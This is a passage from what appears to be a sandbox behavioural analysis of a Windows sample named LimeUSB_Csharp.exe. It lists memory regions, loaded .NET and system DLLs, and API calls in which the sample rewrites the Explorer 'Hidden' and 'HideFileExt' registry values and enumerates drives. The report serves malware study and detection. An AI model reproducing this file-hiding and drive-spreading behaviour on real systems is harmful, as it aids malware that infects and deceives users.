0x170000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3149 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3150 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3151 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3152 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3153 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3154 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3155 start_va = 0x170000 end_va = 0x1d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3156 start_va = 0x260000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3157 start_va = 0x2e0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3158 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3159 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3160 start_va = 0x410000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3161 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3162 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3163 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3164 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3165 start_va = 0x1e0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3166 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3167 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3168 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3169 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3170 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3171 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3172 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3173 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3174 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3175 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3176 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 3177 start_va = 0x1e0000 end_va = 0x208fff monitored = 0 entry_point = 0x1e1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3178 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3179 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3181 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3182 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3183 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 3184 start_va = 0x19f0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019f0000" filename = "" Region: id = 3185 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3186 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3187 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3188 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3189 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3190 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3191 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3192 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3193 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3194 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3195 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3196 start_va = 0x7fe92370000 end_va = 0x7fe9237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 3197 start_va = 0x7fe92380000 end_va = 0x7fe9238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92380000" filename = "" Region: id = 3198 start_va = 0x7fe92390000 end_va = 0x7fe9241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92390000" filename = "" Region: id = 3199 start_va = 0x7fe92420000 end_va = 0x7fe9248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92420000" filename = "" Region: id = 3200 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3201 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3202 start_va = 0x8e0000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3203 start_va = 0x970000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 3204 start_va = 0x9d0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 3205 start_va = 0xb30000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 3206 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3207 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3208 start_va = 0x2df0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3209 start_va = 0x1adf0000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 3210 start_va = 0xbb0000 end_va = 0xcb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 3211 start_va = 0xce0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 3212 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3213 start_va = 0xde0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 3214 start_va = 0x1b260000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 3215 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3220 start_va = 0x1b360000 end_va = 0x1b62efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3221 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3222 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3223 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3224 start_va = 0x7fe92490000 end_va = 0x7fe9250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92490000" filename = "" Region: id = 3225 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3226 start_va = 0x1b170000 end_va = 0x1b1ecfff monitored = 0 entry_point = 0x1b17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3227 start_va = 0x1b170000 end_va = 0x1b1ecfff monitored = 0 entry_point = 0x1b17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3228 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3232 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3233 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3234 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3235 start_va = 0x1b630000 end_va = 0x1b83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b630000" filename = "" Region: id = 3236 start_va = 0x7fe92510000 end_va = 0x7fe9251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92510000" filename = "" Region: id = 3237 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3238 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3239 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3240 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3241 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3242 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3243 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3247 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3248 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3249 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3250 start_va = 0x1b840000 end_va = 0x1bb11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 86 os_tid = 0xa04 [0166.197] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0168.493] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x16ea08 | out: phkResult=0x16ea08*=0x1c4) returned 0x0 [0168.495] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16ea58, lpData=0x0, lpcbData=0x16ea50*=0x0 | out: lpType=0x16ea58*=0x4, lpData=0x0, lpcbData=0x16ea50*=0x4) returned 0x0 [0168.496] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16ea58, lpData=0x16ea38, lpcbData=0x16ea50*=0x4 | out: lpType=0x16ea58*=0x4, lpData=0x16ea38*=0x2, lpcbData=0x16ea50*=0x4) returned 0x0 [0168.613] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16ea18, lpData=0x0, lpcbData=0x16ea10*=0x0 | out: lpType=0x16ea18*=0x4, lpData=0x0, lpcbData=0x16ea10*=0x4) returned 0x0 [0168.615] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x16ea88*=0x2, cbData=0x4 | out: lpData=0x16ea88*=0x2) returned 0x0 [0168.615] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16ea58, lpData=0x0, lpcbData=0x16ea50*=0x0 | out: lpType=0x16ea58*=0x4, lpData=0x0, lpcbData=0x16ea50*=0x4) returned 0x0 [0168.615] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16ea58, lpData=0x16ea38, lpcbData=0x16ea50*=0x4 | out: lpType=0x16ea58*=0x4, lpData=0x16ea38*=0x1, lpcbData=0x16ea50*=0x4) returned 0x0 [0168.616] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16ea18, lpData=0x0, lpcbData=0x16ea10*=0x0 | out: lpType=0x16ea18*=0x4, lpData=0x0, lpcbData=0x16ea10*=0x4) returned 0x0 [0168.616] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x16ea88*=0x1, cbData=0x4 | out: lpData=0x16ea88*=0x1) returned 0x0 [0168.619] GetLogicalDrives () returned 0x4 [0168.635] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x16d998 | out: phkResult=0x16d998*=0x0) returned 0x2 [0168.636] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0168.644] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0168.646] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0168.647] CoGetContextToken (in: pToken=0x16f8a0 | out: pToken=0x16f8a0) returned 0x0 [0168.647] CObjectContext::QueryInterface () returned 0x0 [0168.647] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.648] Release () returned 0x0 [0168.692] CoGetContextToken (in: pToken=0x16f340 | out: pToken=0x16f340) returned 0x0 [0168.692] CObjectContext::QueryInterface () returned 0x0 [0168.692] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.692] Release () returned 0x0 [0168.692] CoGetContextToken (in: pToken=0x16f340 | out: pToken=0x16f340) returned 0x0 [0168.692] CObjectContext::QueryInterface () returned 0x0 [0168.692] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.692] Release () returned 0x0 [0168.696] CoGetContextToken (in: pToken=0x16f340 | out: pToken=0x16f340) returned 0x0 [0168.696] CObjectContext::QueryInterface () returned 0x0 [0168.696] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.696] Release () returned 0x0 [0168.698] CoGetContextToken (in: pToken=0x16f360 | out: pToken=0x16f360) returned 0x0 [0168.698] CObjectContext::QueryInterface () returned 0x0 [0168.698] CObjectContext::GetCurrentThreadType () returned 0x0 [0168.698] Release () returned 0x0 [0168.699] CoUninitialize () Thread: id = 87 os_tid = 0xa00 Thread: id = 88 os_tid = 0x9fc [0167.217] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0168.694] RegCloseKey (hKey=0x1c4) returned 0x0 [0168.694] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 89 os_tid = 0x9f8 Process: id = "20" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x36cb000" os_pid = "0x604" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3284 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3285 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3286 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3287 start_va = 0x1f0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3288 start_va = 0xf20000 end_va = 0x19e3fff monitored = 1 entry_point = 0x19de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3289 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3290 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3291 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3292 start_va = 0x7fff9000 end_va = 0x7fff9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff9000" filename = "" Region: id = 3293 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3294 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3295 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3296 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3297 start_va = 0x50000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3298 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3299 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3300 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3301 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3302 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3303 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3304 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3305 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3306 start_va = 0x2f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3307 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3308 start_va = 0x4e0000 